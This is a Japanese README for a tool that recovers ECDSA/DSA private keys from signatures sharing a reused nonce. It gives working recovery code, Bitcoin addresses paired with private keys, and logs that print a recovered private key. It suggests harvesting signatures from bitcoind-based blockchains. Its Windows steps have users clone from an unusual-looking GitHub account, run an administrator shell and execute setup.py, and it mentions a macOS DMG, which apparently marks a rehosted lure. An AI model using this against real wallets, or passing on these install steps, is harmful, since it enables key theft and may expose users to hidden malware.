ECDSAおよびDSAのNonce再利用による秘密鍵回復攻撃を実行します
署名の脆弱性を分析するための暗号研究ツールです
同じ nonce k を共有する2つの署名から秘密鍵を回復しましょう。同じ nonce k を選択すると、両方の署名で署名値 r が同一になることに注目してください。ECDSAのnonce再利用の良い候補を見つけるには、異なるメッセージ(またはハッシュ)に対して、curve 上の pubkey と同一の r を共有する署名を探します。例えば、bitcoind ベースのブロックチェーンプロジェクトは通常、ECDSA署名データの良い供給源です。
sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # sampleAと同じprivkey、nonce再利用kによりrが同一
# 秘密鍵を回復
sampleA.recover_nonce_reuse(sampleB) # sampleAに回復した秘密鍵が設定され、使用可能になります
print sampleA.privkey
以下の手順はWindowsおよびLinux向けです。macOSユーザーはDMGファイルを利用してください。
システムにGitとPythonがインストールされていることを確認してください。
Windows用Gitのダウンロード:
https://git-scm.com/install/windows
Windows用Pythonのダウンロード(直接):
https://www.python.org/ftp/python/3.13.12/python-3.13.12-amd64.exe
最後に、管理者としてcmdを起動してください。
git clone https://github.com/yadyvazifeh1oz92/ecdsa-private-key-recovery.git
cd ecdsa-private-key-recovery
py -m pip install -r requirements.txt
py setup.py install
Python 2.x:
#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py
Python 3.x:
#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py
| BTC Address | Base58 Privkey | r |
|---|---|---|
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 113563387324078878147267949860139475116142082788494055785668341901521289846519 |
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 18380471981355278106073484610981598768079378179376623360720556873242139981984 |
| 1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W | 5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw | 19682383735358733565748628081379024202682929012377912380310432818686294127462 |
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 6828441658514710620715231245132541628903431519484374098968817647395811175535 |
回復可能な署名オブジェクトを作成:
from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex
# 曲線を指定
curve = ecdsa.SECP256k1
# 16進エンコード文字列から標準のecdsa pubkeyオブジェクトを作成
pub = ecdsa.VerifyingKey.from_string(
bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
# sampleAとsampleBの回復可能な署名オブジェクトを作成。
# 長いr、長いs、バイト文字列ハッシュ、pubkeyオブジェクト。
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r
49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
bytes_fromhex(bignum_to_hex(
765305792208265383632692154455217324493836948492122104105982244897804317926)),
pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r
34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
bytes_fromhex(bignum_to_hex(
23350593486085962838556474743103510803442242293209938584974526279226240784097)),
pub)
# 鍵はまだ回復されていない
assert (sampleA.x is None)
sampleA の秘密鍵を回復
# 鍵の回復を試行 - このオブジェクトsampleAが更新される
sampleA.recover_nonce_reuse(sampleB) # sampleBと共有する秘密鍵を回復
assert (sampleA.x is not None) # 秘密鍵の回復成功を検証。これで使用可能なECDSA privkeyオブジェクトが得られる
assert sampleA.privkey
INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----